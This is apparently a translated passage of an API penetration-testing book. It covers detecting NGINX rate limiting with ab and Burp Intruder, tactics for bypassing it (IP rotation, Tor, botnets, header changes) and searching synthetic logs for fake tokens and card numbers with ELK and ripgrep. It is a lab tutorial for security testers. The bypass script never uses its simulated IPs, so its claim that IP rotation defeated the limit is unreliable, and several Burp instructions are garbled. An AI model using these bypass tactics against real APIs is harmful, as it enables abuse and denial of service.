一个速率限制检测实验
为了实现这个实验,我们将使用 NGINX。我们本可以通过 Docker 容器来完成,但由于 Mockoon 是直接运行在我们的虚拟机上的,所以我们选择了第二种方式:在我们的 Linux 主机上安装 NGINX。只需按照操作系统的文档来安装该软件。在 Ubuntu 上,只需要几个 apt 命令。当安装完成后,NGINX 会在端口 80 上监听:

图 7.13 – NGINX 默认页面
现在,我们需要一个合适的 nginx.conf 文件,告诉 NGINX 作为反向代理工作,将所有请求转发到 Mockoon 并进行速率限制。将默认的 /etc/nginx/nginx.conf 文件内容替换为以下内容:
events {
worker_connections 1024;
}
http {
limit_req_zone $binary_remote_addr zone=limitlab:10m rate=1r/s;
include mime.types;
default_type application/json;
server {
listen 80;
server_name localhost;
location / {
limit_req zone=limitlab burst=5;
proxy_pass http://localhost:3000;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_cache_bypass $http_upgrade;
}
}
}
每个选项或指令都有其特定的用途:
-
worker_connections:此指令告诉 NGINX 每个工作进程能够处理多少并发连接,这对于同时处理多个请求至关重要。 -
limit_req_zone $binary_remote_addr zone=limitlab:10m rate=1r/s:此指令用于定义一个限流属性,限制客户端向服务器发起请求的速率。$binary_remote_addr部分表示客户端的 IP 地址,以紧凑的二进制格式呈现。此规则适用于每一个访问 NGINX 的 IP 地址。我们为创建的limitlab共享内存区分配了 10 MB 的 RAM,并指定了每秒一个请求的速率。进一步的选项在limit_req部分进行配置。 -
include mime.types和default_type application/json确保 NGINX 适当地处理 MIME 类型。 -
limit_req zone=limitlab burst=5:在之前创建的limitlab区上,设定最多处理五个请求的突发流量,不做限制,以适应客户端偶尔快速连续发起多个请求的场景。 -
proxy_pass http://localhost:3000和proxy_http_version 1.1:定义要使用的 HTTP 版本以及后端的地址。在我们的例子中是 Mockoon API 服务器。 -
proxy_set_header Upgrade $http_upgrade:此头对于支持 WebSocket 连接至关重要。HTTP 请求中的Upgrade头用于请求服务器切换协议(例如,从HTTP/1.1切换到WebSocket)。此项仅为教育用途,不适用于我们的案例。 -
proxy_set_header Connection 'upgrade':此头用于控制当前事务结束后,网络连接是否保持开启。将此设置为'upgrade'与Upgrade头配合使用,主要用于 WebSocket 或其他协议的升级。仅用于教育用途。 -
proxy_set_header Host $host:此头将转发请求的Host头设置为 NGINX 服务器接收到的请求的主机值。 -
proxy_set_header X-Real-IP $remote_addr:此自定义头通常用于将原始客户端的 IP 地址传递给后端服务器。 -
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for:此头用于将客户端的 IP 地址追加到 NGINX 接收到的任何现有的X-Forwarded-For头。如果没有此头,NGINX 将创建一个。 -
proxy_set_header X-Forwarded-Proto $scheme:此头用于通知后端服务器客户端用来连接代理的协议。$scheme将包含http或https,具体取决于协议。 -
proxy_cache_bypass $http_upgrade:此指令用于在客户端请求中包含Upgrade头时绕过缓存。这通常用于不希望缓存响应的场景,例如在初始化 WebSocket 连接时。此项也仅为教育用途。
我在进一步阅读部分中放了一个链接,里面有关于如何配置 NGINX 作为远程代理的更多信息。如果它已经在运行,请重启服务。默认情况下,所有访问都记录在/var/log/nginx/access.log中,所有错误则记录在/var/log/nginx/error.log中。也启动 Wireshark,以便你检查是否发生了不同的情况。我们将从我们的朋友ab开始。由于我们现在是向 NGINX 发送请求,而不是直接向 Mockoon 发送,因此我们将省略:3000部分。为了简洁起见,部分输出被省略:
$ ab -n 100 -c 10 http://localhost/users
Server Software: nginx/1.18.0
Concurrency Level: 10
Time taken for tests: 5.007 seconds
Complete requests: 100
Failed requests: 94
(Connect: 0, Receive: 0, Length: 94, Exceptions: 0)
Non-2xx responses: 94
Requests per second: 19.97 [#/sec] (mean)
Time per request: 500.680 [ms] (mean)
Transfer rate: 11.61 [Kbytes/sec] received
Percentage of the requests served within a certain time (ms)
50% 1
66% 1
75% 1
80% 1
90% 2
95% 905
98% 3902
99% 4900
100% 4900 (longest request)
非常有趣!将此与我们直接发送数据包到 Mockoon 时获得的先前结果进行比较。观察到 100 个数据包中有 94 个未能接收!这意味着 94%的流量被 NGINX 过滤掉了。考虑到我们允许每秒 5 个请求的突发流量,这表示ab成功接收了它的一次突发流量和一个单独发送的数据包。当你使用 Wireshark 检查流量时,我们会发现一些数据包带有 503 错误代码:

图 7.14 – NGINX 过滤掉过多的请求,这些请求原本会发送到 Mockoon
这发生在我们基本的 100 连接测试中,其中 10 个是同时进行的。与此同时,我也在监控已分配的 RAM 和 CPU 占用情况。它们没有受到任何影响。让我们重复之前使用ab进行的最激进的测试,看看是否有变化:
$ ab -n 10000 -c 1000 http://localhost/users
Concurrency Level: 1000
Time taken for tests: 5.009 seconds
Complete requests: 10000
Failed requests: 9994
Percentage of the requests served within a certain time (ms)
50% 50
66% 56
75% 69
80% 77
90% 118
95% 129
98% 135
99% 145
100% 4991 (longest request)
被阻止的连接数量是相同的。此外,我们还注意到大多数请求的处理时间大幅增加(从 1 毫秒增加到平均约 60 毫秒)。在 Wireshark 中也可以验证类似的输出。检查/var/log/nginx/error.log,你会发现类似这样的几行:
[error] 11023#11023: *10619 limiting requests, excess: 5.048 by zone "limitlab", client: 127.0.0.1, server: localhost, request: "GET /users HTTP/1.1", host: "localhost"
好吧,我们可以确认我们的速率限制机制正在发挥作用。让我们看看如何在启用这种机制时发现这一点。为此,我们使用 Burp Suite。在启动之前,请再次确认你没有在其代理服务端口(默认情况下为8080)上运行其他服务。启动 Burp 后,切换到Proxy标签页,然后切换到Proxy Settings子标签页,确认它已启用。接着,转到Intruder标签页,点击Intercept is on按钮将其关闭。我们不希望每发送一个请求时都点击Intercept。
现在,在这个内部浏览器的http://localhost/users页面,你将收到带有随机用户名和 ID 的预期 JSON 结构。你可以关闭这个浏览器了。接下来,回到 Burp 的主界面,进入Proxy标签页,点击HTTP history子标签页。你将在那里看到该请求:

图 7.15 – Burp 捕获发送到 Mockoon 的请求及其响应
右键点击这个请求并选择 发送到 Intruder。你会看到 Intruder 选项卡变成橙色。点击那里。首先显示的界面名为 Positions。我们不需要使用它,因为我们不需要更改请求内容。我们这次不进行模糊测试(fuzzing)。我们只需要 Burp 重复请求:

图 7.16 – Burp 的 Intruder 捕获的原始请求
你可以使用任何攻击类型,不过对于这个测试,使用狙击手攻击(Sniper)或撞锤攻击(Battering ram)都足够了。如果使用多个有效载荷,Pitchfork 或 Cluster Bomb 方法会更合适。
接下来,切换到 生成有效载荷 文本框中的 30。在下图中,你可以看到 Payloads 部分的参数已经发生变化。

图 7.17 – 配置 Intruder 发送 30 个相同的数据包
现在,导航到 10:

图 7.18 – 创建资源池并定义并发请求数量
最后,点击 开始攻击 按钮。这将打开攻击窗口(图 7.19)。这会使 Intruder 向 NGINX 发送重复的请求。你会看到它们在这个窗口中不断出现,直到第 30 个请求。一些请求可能比其他请求更早到达,顺序也可能会乱。这是预期的,因为 NGINX 对它们施加了限制。顺便提一下,接收数据包时的延迟是我们需要考虑的一个变量。这可能意味着存在速率限制控制。你可以在 图 7.19 中看到一个成功的请求。注意查看日期。

图 7.19 – 由 Intruder 捕获的成功请求
让我们将其与紧随其后的请求进行比较(图 7.20),这是一个失败的请求(503 响应代码)。你可以看到,失败的请求在成功请求之前四秒发送,这表明可能启用了速率限制机制:

图 7.20 – 在成功请求之前收到的失败请求
保护 API 的其他迹象包括响应代码如 429,表示“请求过多”或响应中包含 Retry-After 头部。现在我们已经识别出在向 API 端点发送请求时可能会受到限流保护,接下来我们需要学习如何绕过这些保护机制。正是这一点将是下一节的内容。
绕过速率限制
当 NGINX 充当严密守卫时,速率限制成为控制流量并防止恶意活动的关键安全措施。NGINX 有一套速率限制配置,用于限制 API 客户端在特定时间内能够发送的请求数量。为了有效绕过这些限制,我们首先需要熟悉所使用的具体速率限制机制。这包括解读服务器响应,寻找诸如 Retry-After 头部或特定错误码(例如,429 Too Many Requests)等线索,这些都能表明速率限制的存在及其细节,正如我们之前所讨论的那样。
绕过速率限制的第一步是揭示触发限制的原因。常见的罪魁祸首包括客户端的 IP 地址、用户会话或 API 密钥。通过有策略地改变这些因素,我们可以找出速率限制的应用方式。像 Burp Suite 这样的工具成为我们的盟友,允许我们操控请求头部并模拟来自不同 IP 或用户会话的请求。分析服务器响应如何随不同输入变化,可以提供有关底层速率限制逻辑的有价值线索。在我们的案例中,我们知道 NGINX 基于源 IP 地址实施了速率限制。
为了绕过这种限制,我们通常会应用源 IP 地址的轮换。通过不断改变用于发送请求的 IP 地址,我们可以避开与特定 IP 绑定的限制。像 VPN、公共代理服务器或像 Tor 这样的匿名网络都可以用于此目的。此外,还可以使用自动化脚本或专门的工具,通过不同的 IP 地址池动态路由请求,进一步增加检测的难度。这正是我们在这里要做的。
如果速率限制依赖于会话标识符或特定的用户代理字符串,修改这些元素可能会重置速率限制计数器。Burp Suite 使我们能够操控 cookies(可能存储会话数据)和请求中的User-Agent头部。为每个请求编写自定义头部,或者利用浏览器自动化工具随机化用户代理字符串,可以有效绕过与用户会话或设备类型相关的限制。
另一种成功规避速率限制的方法是将请求分配到多个服务器或设备上。如果 NGINX 按 IP 地址跟踪请求数量,利用多个具有唯一 IP 的服务器发送请求可以帮助分散负载,并减少触发速率限制的风险。虽然这个策略涉及复杂的协调,但它可能非常有效,尤其是在结合 IP 轮换技术时。在现实攻击中,僵尸网络通常用于此目的。只需向它们发送一个命令,然后攻击就会从多个不同的地理位置同时开始。如果你对僵尸网络不太了解,我在进一步阅读部分提供了参考,找时间看看。这是不可错过的。
仔细检查 NGINX 如何响应超过速率限制的请求,可以提供有关潜在规避策略的有价值的见解。例如,如果响应头表明 NGINX 使用固定窗口计数器进行速率限制,那么在窗口重置后策略性地发送请求可以最大化请求容量。可以使用自动化工具来监控速率限制的时机和模式,并根据需要调整请求时机,以利用这个窗口。
行动时刻到!考虑以下代码。通过切换源 IP 地址,我们向/users路由发送不同的延迟请求:
import time
import requests
url = "http://localhost/users"
requests_per_ip = 10
delay_per_ip = 1
num_users = 5
for user_id in range(num_users):
simulated_ip = f"10.0.0.{user_id+1}"
print(f"Simulating user with IP: {simulated_ip}")
# Loop to send requests for the current simulated user
for i in range(requests_per_ip):
response = requests.get(url)
if response.status_code == 200:
print(f"\tRequest {i+1} successful for user {user_id+1}.")
else:
print(f"\tRequest {i+1} failed for user {user_id+1}!")
print(f"Status code: {response.status_code}")
if response.status_code == 429 or response.status_code == 503:
print(f"\tRate limit reached for user {user_id+1}!")
print("\tWaiting for delay...")
time.sleep(60)
time.sleep(delay_per_ip)
print("All requests completed for simulated users.")
这段代码模拟了五个不同的用户。每个请求之间有 1 秒的延迟,当请求失败时,我们添加 60 秒(即 1 分钟)的延迟。我们可以调整这两个计时器,使它们保持在 NGINX 控制的边缘。你可以看到我们总共发出了 50 个请求(10 次乘以 5),这会触发 NGINX 的保护 9 次(记住,它允许最多 5 个请求的突发)。这里的关键是我们在每个请求之间设置的延迟。运行此代码后,所有请求都会收到成功的响应(为简洁起见,部分输出省略):
Request 8 successful for user 4.
Request 9 successful for user 4.
Request 10 successful for user 4.
Simulating user with IP: 10.0.0.5
Request 1 successful for user 5.
Request 2 successful for user 5.
Request 3 successful for user 5.
Request 4 successful for user 5.
Request 5 successful for user 5.
Request 6 successful for user 5.
Request 7 successful for user 5.
Request 8 successful for user 5.
Request 9 successful for user 5.
Request 10 successful for user 5.
All requests completed for simulated users.
NGINX 的错误日志没有新行,因为所有请求都已发送并接收。我们还可以通过检查 Mockoon 的日志来确认这一点。因此,我们可以得出结论,通过从不同的 IP 地址发起请求,并在请求之间设置小的延迟,可以绕过 NGINX 施加的速率限制。作为你环境中的未来练习,可以调整计时器和nginx.conf文件,看看不同值下的行为。别忘了重新启动服务以应用更改。
如果一个 API 提供多个端点可以实现相似的结果,交替使用这些端点可以帮助避免在单个端点上超过速率限制。这个策略取决于 API 的设计,但如果速率限制是按端点配置的,那么它可能非常有效。
有时候,简单地修改请求方式就足以避开速率限制。这可能包括将多个操作批量成一个请求,或者将通常会迅速连续发生的请求分散到更长的时间段内。提供能够在单次请求中获取或更新多个资源的 API,在这种情况下特别有用。
总结
在这一更具实践性的章节中,我们深入探讨了 DoS 和 DDoS 攻击,这些技术可以用来发现目标 API 端点的漏洞。接着,我们学习了如何检测速率限制控制是否已到位(这些控制能够过滤 DoS 攻击)。最后,我们通过编写 Python 代码,成功绕过了之前阻止我们的速率限制机制,这一过程通过在请求之间添加延时并更换源 IP 地址完成。
在下一章中,我们将开始新的内容,探索关于渗透测试 API 的高级话题。我们将从理解成功的入侵如何导致数据暴露和敏感信息泄露开始。
进一步阅读
-
针对 Google 服务的攻击:
cloud.google.com/blog/products/identity-security/identifying-and-protecting-against-the-largest-ddos-attacks -
AWS 遭遇巨型 DDoS 攻击:
aws-shield-tlr.s3.amazonaws.com/2020-Q1_AWS_Shield_TLR.pdf -
影响 GitHub 的 Memcached 漏洞与 DDoS 攻击:
github.blog/2018-03-01-ddos-incident-report/ -
使用 Mockoon 创建模拟 API:
mockoon.com/ -
ApacheBench,网站/API 性能测试工具:
httpd.apache.org/docs/current/programs/ab.html -
Scapy Python 库:
pypi.org/project/scapy/ -
hping3:linux.die.net/man/8/hping3 -
什么是 API 限流?:
www.tibco.com/glossary/what-is-api-throttling -
NGINX 作为反向代理:
docs.nginx.com/nginx/admin-guide/web-server/reverse-proxy/ -
Envoy,另一个开源代理服务:
www.envoyproxy.io/ -
僵尸网络及其对互联网 安全的威胁:
www.researchgate.net/publication/227859109_Study_of_Botnets_and_their_threats_to_Internet_Security -
更多关于 DoS 和 DDoS 攻击的信息:
subscription.packtpub.com/book/programming/9781838645649/8/ch08lvl1sec02/denial-of-service-dos-and-distributed-denial-of-service-ddos-attacks -
构建 RESTful Python Web 服务,提供了关于创建 API 的各种有用技巧,包括对请求实施限流:
www.packtpub.com/en-th/product/building-restful-python-web-services-9781786462251
第四部分:API 高级主题
你可以通过第三部分中涉及的主题来实现较好的攻击效果。它们是基础性的,但依然非常有效。然而,有些情况下你需要使用更复杂的技术。我们这里谈论的是高级攻击技巧,这些将在本部分中进行讲解。你将了解如何检测数据曝光和泄露。你还将学习什么是 API 业务逻辑,以及如何利用其错误实现来获得未授权的访问和执行未授权的操作。与第三部分类似,本部分也会给出一些建议,帮助你避免出现 API 中这一关键部分的问题。
本节包含以下章节:
-
第八章,数据曝光和敏感信息泄露
-
第九章,API 滥用与业务逻辑测试
第八章:数据曝光和敏感信息泄漏
本章开始了我们书的第四部分,内容关于高级 API 技术。我们将更好地理解未修补或配置不当的 API 端点可能面临的数据曝光和敏感信息泄漏问题。我们将探讨这些问题发生的细微差别,并学习如何作为 API 渗透测试员将其转化为对我们有利的局面。
无论是通过消化一些数据块,还是通过利用之前渗透测试的发现,我们将学习如何在其他垃圾或不太有价值的资产中检测到数据或敏感信息。这不仅可以节省你进行渗透测试时的时间,还能在计划进行协调攻击的最终目标时帮助你。某些测试人员的工作范围是将一些数据从端点中提取出去,而另一些则通过滥用网络等手段来进行数据下传。你将学习这些技术,并了解如何在配置或构建 API 时避免此类问题。
在本章中,我们将涵盖以下主要话题:
-
识别敏感数据曝光
-
测试信息泄漏
-
防止数据泄漏
技术要求
正如我们在之前的章节中所做的那样,我们将利用与之前章节中提到的相同的环境,比如 Ubuntu 发行版。其他一些新的相关工具将在相应的章节中提到。
在本章中,我们将特别专注于处理大量数据。因此,我们将依赖一些数据挖掘和整理工具,这些工具将在分析大规模日志或其他类型的大数据时为我们完成繁重的工作。
识别敏感数据曝光
识别 API 中的敏感数据曝光是确保它们安全的关键步骤。无论大小,数据泄露都可能对公司声誉造成严重且常常无法修复的损害。因此,全面了解你拥有的 API 端点可能存在的漏洞至关重要。第一步是定义什么构成敏感数据。这不仅仅是个人身份信息(PII)如姓名和地址。以下是不同类型敏感数据的分类,以及 API 如何暴露这些数据:
-
个人身份信息(PII):这对应于所有可以用来识别某人或个人的各种数据或信息。这包括政府身份证号码(例如美国或欧洲的社会保障号码,或巴西的 CPF),护照信息(例如护照号码,以及签发和到期日期),甚至健康数据。没有适当访问控制的 API 返回用户资料可能会泄露个人身份信息。
-
财务数据:信用卡详细信息、银行账户号码和财务交易历史都是高度敏感的。如果一个 API 端点需要处理任何类型的支付,即使只是将数据重定向到支付系统并从中接收数据,它也必须具备严格的安全控制。
-
身份验证(AuthN)凭据: 用户名、密码和访问令牌是保护 API 安全的基础。当此类数据泄露时,可能会危及 API 端点背后整个系统的访问权限。
-
专有信息: 商业机密、知识产权文件以及内部配置都可以视为敏感数据。如果与内部系统或数据库交互的 API 没有得到妥善保护,它们可能会泄露此类信息。
检测何时可以从输出中提取敏感数据并不总是那么直观。这可能需要我们在解析文件转储(如日志)时使用一些复杂的工具。现在我们将深入分析大量日志,结合几种工具和模式,发现哪些敏感数据或信息是可用的。根据手头的日志量,你可能需要将此任务委派给外部系统,以利用更强的计算能力来处理它。
由于在本次操作中不会使用真正的 API 端点和真正的敏感数据,我们需要一种方法来生成一些日志文件进行分析。有一个很好的开源项目是用 Golang 编写的,叫做 go 命令,可以直接作为二进制文件使用(包括使用 .tar.gz 包)或者作为 Docker 容器运行。
这些行不会包含我们正在寻找的任何类型的敏感数据。因此,让我们通过一些随机数据来增强其功能,方便后续查询。接下来的代码就是这么做的。循环创建日志条目,并将其存储在由 LOG_FILE 变量指向的文件中。请注意,只有当迭代器变量 (i) 能被 100 整除时,敏感数据才会被插入。当 i 不能被 100 整除时,flog 会生成一行完全随机的内容。因此,我们将有 1,000 行包含敏感数据,9,000 行不包含敏感数据。这将使输出文件变成一个包含大量数据但不太有趣的内容。echo 命令在一行内执行:
LOG_FILE=dummy.log
for i in $(seq 1 10000); do
if [ $((i % 100)) -eq 0 ]; then
# Every 100th line contains sensitive data
echo "192.168.1.$((RANDOM % 255)) - user_$RANDOM [$(date +'%d/%b/%Y:%H:%M:%S %z')] \"POST /api/submit HTTP/1.1\" 200 $((RANDOM % 5000 + 500)) \"-\" \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36\" Auth_Token=\"$(openssl rand -hex 16)\" Credit_Card=\"1234-5678-9012-$RANDOM\"" >> $LOG_FILE
else
# Other lines contain generic log data
flog >> $LOG_FILE
fi
done
我们正在使用 BASH 的 $RANDOM 内部变量,它在读取时生成伪随机数。请注意,我们需要在系统上安装 openssl 来生成与虚假令牌对应的随机字符串。如果你不想包含 Auth_Token 部分,只需删除即可。上面的代码创建了一个约 1 GB 大小的文件。
那么,我们如何消化这些数据并只提取有趣的部分呢?有一些方法可以做到这一点。考虑到我们使用的是 Linux 系统,甚至 grep 命令也可以完成这个任务,并通过一些正则表达式来方便搜索。不过,这并不是性能最好的解决方案。我们需要其他方法。
Elasticsearch 及更多内容
在处理大量数据时,我们需要正确的工具。好吧,1 GB 现在不算大,但假设你将需要访问数 TB 的日志文件,如何在可行的时间内用grep搜索它们呢?我们将练习一种可能的解决方案:Elasticsearch、Logstash 和 Kibana(ELK)堆栈。它们是三个独立的产品,可以结合在一起提供一流的数据分析和可视化体验。而且,它们可以作为 Docker 容器运行。
然而,有一个缺点,就是对资源(计算、内存和存储)的巨大需求。我无法在实验室虚拟机(8 GB RAM)上运行它们。仅仅是 Elasticsearch 就需要比可用内存更多的资源。事实上,在我写这章时尝试的版本(8.13.2)中特别抱怨最大映射数检查,这个检查由 Linux 内核参数控制。即使将其增加到文档推荐的数值(详细信息请参阅进一步阅读部分),Elasticsearch 仍然无法工作。我还在另一台运行 macOS 的系统上进行了一些测试,但无论是容器版本还是独立版本,都存在不同的问题,使得配置变得困难。
我最终决定在 Elastic 的云平台上运行这个堆栈。他们将其作为软件即服务(SaaS)销售,并提供 14 天的试用期。你可以使用产品的所有功能并导入外部数据源。设置此平台的步骤如下:
-
你需要注册该平台或通过 AWS、Google 或 Microsoft 的云市场进行订阅。访问
cloud.elastic.co/并点击注册。你可能会收到一封带有链接的验证邮件,点击该链接并登录。 -
向导会提示你回答一些关于你自己的问题,例如你的全名、公司名称以及使用该平台的目的。
-
然后,向导会建议创建一个部署。通过点击编辑设置,你可以选择公共云提供商、区域、硬件配置和 Elastic 版本。应用程序会自动选择适合你所在位置的组合。为这个部署输入一个名称,然后点击创建部署。
-
创建部署只需要几分钟,然后你会被重定向到平台的登录页面。这里有一个小提示很重要:你不会像预期的那样收到部署凭据。因此,你需要遵循一个额外的步骤,我们稍后会解释:

图 8.1 – Elastic Cloud Platform 的登录页面
-
下一步是配置输入。你需要告诉它如何接收 Elasticsearch 和 Kibana 将要进一步分析的数据。为此,我们将使用 Filebeat,它既是一个外部工具,也是一种内建集成。你甚至可以直接将日志流式传输到平台。当你希望持续发送数据进行分析时,这非常有用。在我们的情况下,这只会发生一次。
-
根据你所使用的操作系统,有不同的安装说明。Ubuntu 默认没有该应用程序的可下载仓库。为了方便起见,我在 进一步阅读 部分提供了需要遵循的步骤链接。
-
你不会立即启动 Filebeat 服务。首先,你需要配置它,将数据发送到 Elastic 的云端。至少在 Ubuntu 系统上,
filebeat.yml配置文件位于/etc/filebeat。你只需关注两个部分:Filebeat 输入和 Elastic Cloud。请先备份该文件,并用你喜欢的编辑器打开它。找到 Filebeat 输入 部分。 -
你会看到类似这样的内容(为了简洁,省略了注释):
- type: filestream id: my-filestream-id enabled: false paths: - /var/log/*.log -
你需要执行以下操作:
-
将
filestream替换为log。这是为了告诉 Filebeat 这个不是一个持续变化的文件,而是一个静态文件。 -
将
my-filestream-id替换为更相关的名称,比如sensitive-data-log。 -
将
false替换为true,以有效启用输入。 -
将
/var/log/*.log替换为你之前生成的文件的完整路径(即使用flog工具生成的那个文件)。
-
-
找到 Elastic Cloud 部分。你会看到类似这样的内容:
# The cloud.id setting overwrites the `output.elasticsearch.hosts` and # `setup.kibana.host` options. # You can find the `cloud.id` in the Elastic Cloud web UI. #cloud.id: # The cloud.auth setting overwrites the `output.elasticsearch.username` and # `output.elasticsearch.password` settings. The format is `<user>:<pass>`. #cloud.auth: -
此时,你需要回到网页控制台并找到这两个参数。可以通过以下顺序查找 Cloud ID:
-
从 图 8.1 中的登陆页面,点击左侧的三个水平线打开侧边菜单并选择 管理此部署。
-
有一个剪贴板按钮,你可以点击它来方便地复制此数据。点击复制并将其保存在临时位置。
-

图 8.2 – 在 Elastic 控制台中查找 Cloud ID 的位置
-
Cloud Auth参数需要几个额外步骤:- 在此屏幕上,点击 操作 按钮并选择 重置密码。这将把你重定向到 安全性 设置页面,在那里你可以做一些调整:

图 8.3 – 重置部署的密码
-
点击 重置密码 按钮。网站会要求你确认。只需点击 重置。
-
你的新密码将被定义。你可以复制它(使用类似的剪贴板按钮)或下载包含凭证的 CSV 文件。参考 图 8.4。

图 8.4 – 新的 Elastic 密码已定义,并提供点击复制或下载 CSV 文件的选项
-
现在,返回到
filebeat.yml文件。 -
取消注释
cloud.id和cloud.auth这两行。接下来,在这两行中每个冒号后插入一个空格。 -
将你之前复制的数据粘贴到相应的行中。对于
cloud.auth这一行,注意预期格式是username:password。用户名部分通常是elastic。 -
保存并关闭文件。你可以使用一些命令来验证配置文件是否良好,以及 Filebeat 是否能与云部署进行连接:
$ sudo filebeat test config Config OK $ sudo filebeat test output elasticsearch: https://<a type of credential will show up here>.us-central1.gcp.cloud.es.io:443... parse url... OK connection... parse host... OK dns lookup... OK addresses: 35.193.143.25 dial up... OK TLS... security: server's certificate chain verification is enabled handshake... OK TLS version: TLSv1.3 dial up... OK talk to server... OK version: 8.13.2 -
注意,你可能需要以超级用户身份运行这些命令。这取决于你的操作系统默认设置。现在,你可以启动 Filebeat 服务或以交互模式运行它。我个人更喜欢第二种方式,因为你可以查看它的日志输出:
$ sudo filebeat -e {"log.level":"info","@timestamp":"2024-04-21T18:23:44.082+0200","log.origin":{"function":"github.com/elastic/beats/v7/libbeat/cmd/instance.(*Beat).configure","file.name":"instance/beat.go","file.line":811},"message":"Home path: [/usr/share/filebeat] Config path: [/etc/filebeat] Data path: [/var/lib/filebeat] Logs path: [/var/log/filebeat]","service.name":"filebeat","ecs.version":"1.6.0"} {"log.level":"info","@timestamp":"2024-04-21T18:23:44.083+0200","log.origin":{"function":"github.com/elastic/beats/v7/libbeat/cmd/instance.(*Beat).configure","file.name":"instance/beat.go","file.line":819},"message":"Beat ID: 6e7f7876-f768-449b-b6b2-b74cd1d65e93","service.name":"filebeat","ecs.version":"1.6.0"} The rest of the output was omitted for brevity.
此时,你可以返回控制台查看它正在接收的内容。假设一切正常,要查看dummy.log中的数据行,请再次点击侧边菜单中的三条横线,进入Observability | Logs。如果没有显示任何内容,只需点击刷新。默认情况下,这个视图会显示过去 15 分钟的活动。如果你在数据已发送时做了其他操作,可能什么也看不见。如果发生这种情况,只需将视图控制更改为显示更早的数据,如过去 1 年:

图 8.5 – 更改视图控制以显示日志数据
对视图控制的更改立即生效。以下截图显示了你在浏览由 Filebeat 发送的日志数据时将看到的视图类型。

图 8.6 – 可在 Elastic Cloud 平台上查询的日志行
注意,这些行是以 IP 地址开头的。我们可以将其用作索引。为了能够在这些数据上搜索模式,我们可以选择以下其中一种选项:
-
只需在此搜索栏中输入你要查找的数据。例如,如果你输入
Credit_card或Auth_Token,在你按下Enter后,所有包含这些模式的行将会显示出来。 -
创建一个数据视图。某些文献中会使用索引模式这一术语来指代这个功能,但它在一段时间前已经被更名为数据视图。
这是 Kibana 的一个功能。要创建数据视图,如果你在最上面的搜索栏中输入 Data View,会更容易。这样会出现一个建议,并附带相应的链接。点击它,你将被重定向到一个空白页面,页面上有创建数据视图按钮。点击它后,所有源将被显示。其中一些是由部署创建的,还会有一个 Filebeat 的源:

图 8.7 – 在 Kibana 中创建数据视图
在 filebeat-* 中。这将导致屏幕右侧更新并仅显示 @timestamp 下的 Filebeat 来源)。点击保存数据视图 到 Kibana。
当你这么做时,之前的空白页面将更新为最近创建的数据视图。现在,最后一步是发现模式。回到最上面的搜索栏,输入 Discover。你将被重定向到 KQL 的 message 关键字。我们可以构建这样的查询:
message: Credit_card OR Auth_Token
最终将显示过滤后的窗口:

图 8.8 – 使用 KQL 查找敏感数据模式
这远不是 ELK 堆栈的入门培训。我在进一步阅读部分添加了其他链接,你可以在平台上查看正则表达式,并且可以参加免费的培训课程。这个很好,但如果你不想使用浏览器,甚至不想利用一些云服务来进行敏感数据搜索怎么办?我们接下来会介绍这个。
ripgrep
如果你正在寻找一个比 ELK 更小巧的工具来搜索日志中的敏感数据,rg 是一个面向行的搜索工具,它结合了 The Silver Searcher(链接在进一步阅读部分)的可用性和 grep 的原始速度。rg 默认工作非常高效,忽略二进制文件,尊重你的 .gitignore 文件以跳过隐藏和忽略的文件,并且有效地使用内存。
与 ELK 堆栈相比,rg 至少有三个优势:
-
它非常快速,即使在大文件上也能表现良好。
-
它是一个独立的可执行文件,安装和使用都非常简单,不需要复杂的配置。
-
不需要运行服务或守护进程,与 ELK 相比,内存和 CPU 使用非常少。
在 Ubuntu 上安装它和安装任何通过 apt 或 apt-get 提供的应用程序一样简单。它也有适用于 macOS 和 Windows 的版本。让我们看看它在查找信用卡号时如何处理我们的 1 GB 虚拟文件:
$ time rg "\b\d{4}-\d{4}-\d{4}-\d{4}\b" dummy.log
594006:192.168.1.120 - user_12186 [19/Apr/2024:04:41:55 +0200] "POST /api/submit HTTP/1.1" 200 1633 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" Auth_Token="e4e8be71c743f3273e22c43e1585282a" Credit_Card="1234-5678-9012-1975"
1188012:192.168.1.223 - user_22717 [19/Apr/2024:04:41:56 +0200] "POST /api/submit HTTP/1.1" 200 2929 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" Auth_Token="7e204c483eb812251e2c219bbdda7c08" Credit_Card="1234-5678-9012-5180"
1485015:192.168.1.247 - user_28863 [19/Apr/2024:04:41:57 +0200] "POST /api/submit HTTP/1.1" 200 1585 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" Auth_Token="a4de7124036ae0229ad43a75f972be69" Credit_Card="1234-5678-9012-6131"
...Output omitted for brevity...
real 0m2.276s
user 0m2.235s
sys 0m0.040s
大约 2.5 秒内,rg 就能在接近 1 GB 大小的文件中找到 26 行包含信用卡号的数据!这发生在它运行于拥有 4 个虚拟 CPU 和 8 GB 内存的 Ubuntu 虚拟机上。顺便提一下,Filebeat 仍在运行,我的浏览器实例也在和它争夺 CPU 和内存。接下来我们来看看它在 AuthN token 上的表现:
$ time rg "Auth_Token=[^ ]+" dummy.log
99001:192.168.1.209 - user_10741 [19/Apr/2024:04:41:53 +0200] "POST /api/submit HTTP/1.1" 200 2550 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" Auth_Token="76358e1eaf10a2da25845535f6a2f8ca" Credit_Card="1234-5678-9012-685"
198002:192.168.1.31 - user_15060 [19/Apr/2024:04:41:53 +0200] "POST /api/submit HTTP/1.1" 200 4211 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" Auth_Token="bfc4d56410a31f16e939559d1fd19011" Credit_Card="1234-5678-9012-30887"
